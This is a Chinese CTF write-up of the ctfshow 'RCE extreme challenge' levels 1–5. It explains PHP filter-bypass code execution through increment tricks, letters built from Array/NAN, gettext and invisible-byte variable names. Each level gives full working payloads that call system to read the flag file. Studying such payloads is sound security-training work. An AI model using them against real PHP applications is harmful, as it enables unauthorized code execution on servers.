ctfshow-RCE极限挑战
RCE挑战1
题目
1 |
|
这里只是把().给过滤掉了,直接使用不带点和括号的RCE方式就可以了,比如日志文件包含,临时文件包含
还有更简单的
payload
1 | code=echo `$_POST[1]`;&1=cat /f* |
RCE挑战2
题目
1 |
|
python脚本
1 |
|
跑了一下正则,才发现只有这几个东西能进行利用
这道题利用的是自增rce
p牛之前的文章也写过这个
思路就是,我们rce需要字母,但字母都过滤了,所以我们就要想办法去构造字母,p神是用
强制连接数组和字符串,数组将被转换成字符串,其值为Array,而我们如果取Array的第[0]
个字母的话就是A,而A++就是B
payload1
1 | _=[].''; //得到Array |
payload2
1 | <?php |
这里为什么能用自增是因为$_是会记录上一次的值
最终paylaod
1 | ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa |
RCE挑战3
题目
1 |
|
这里是少了!’ 多了01
开始限制长度了,105字符,但是可以用数字0或者1,那么就可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到”NAN”和”INF”中的字符了,payload构造过程,这里直觉上认为构造_GET
更简单,但是实际上目前可以用的字符当中,只有N离T最近,而从N开始自增构造T的时候,会经过OPQRS,所以其实构造_GET
的同时,已经把_POST
构造出来了,相当于白构造了GE
这里的话
字母的话可以随便取代,因为在这里的话字母会被当作0
1 | NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。 |
原理还是上一题的自增,试着构造一下,当我是想直接$a[0]的时候,他没有回显,原来是因为现在的NAN还不算字符串,所以后面要在拼接一个例如
拼接一个字符的话就会变成字符串了。
但我我们需要字母才能构造N,就用上一题同样的方法构造出A来,因为0可以用了,所以我们就不用让报错直接用[0]就可以了
这里能得到A是因为[].[]会变成Array,然后Array[0]就会生成A;
和RCE挑战2构造方法一样
然后我们就可以得到N了
这里能得到N是因为$_为A,然后A的话会变成0,然后再连接字符串A就可以了
$__=(A/A.A)[0]
就是会变成这样
之后再跟上一步一样一步一步自增就可以了
payload1
1 | $_=([].[])[0]; //得到Array |
1 | $_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]); |
paylaod2
1 | ``` |
1 | ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa |
%ff %fc 啥的是不可见字符
1JIJ[C.png)
这里字母被过滤了,还可以利用不可见字符来给参数命名,学到了一个新知识点
RCE挑战4
题目
1 |
|
这下子的话只有这些能进行利用了
少了个1,并且的话长度也进行了限制。
还是可以用rce3的方法,因为1没用到,并且只要在RCE3的基础上适当的缩短就行了
1 | a=(_/_._)[0];//直接拼接成字符串并切片 |
这里的话还是利用不可见字符替代php变量名称(这里的payload得用bp发包,因为hackbar的话不会解析7f以后的字符)
payload
1 | ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa |
RCE挑战5
题目
1 |
|
这里的话是把01都给过滤掉了,长度也更短了
限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_()
,相当于gettext()
,直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简,下面是payload构造过程:
EXP
1 | $a=_(a/a)[a];//相当于gettext(0/0)[0],得到N |
然后常规的替换成不可见字符变量名称,得到payload:
payload
1 | ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa |
更短的payload(72位)
1 |
|
payload1
1 | ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa |
1 | $_=$a.$a++;//PO 相对于上一步,就是进行了这一步的修改 |
至于为什么$_=$a.$a++;
这一步得到的是PO而不是OP,或者OO,而$_=_.$a.$a++;
得到的是_OO
,经过和用这种做法的师傅们讨论,目前分析下来最有可能的原因是,PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++
操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO
这里相当于先执行了$a++
操作(函数),并得到$a++
的返回值,然后和左侧的$a
变量进行拼接,此时$a
已经是P了。而$_=_.$a.$a++;
时先执行了_
和$a
的拼接,而后再执行$_='_O'.$a++
,所以得到的是_OO
。*以上所有均为猜测,具体机制需研究PHP源码。
68位字符
目前在gettext环境下,最短的payload了
1 | _=_(a/a)[_];//N |
这里的话php解析是从左到右递归的过程,这里有疑问的话一般都是$a[$_++/$_++]
对这个有疑问,然后我就本地测试了一下,发现是这样的
就是$a
的话是为O的,然后[P/Q]就会被解析成[0],然后$a[0]就是$a的值。
可以本地跑一下看看结果。
1 |
|
payload(用不可见字符替代参数)
1 | ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa |
这上面的题目几乎全是有关于自增rce的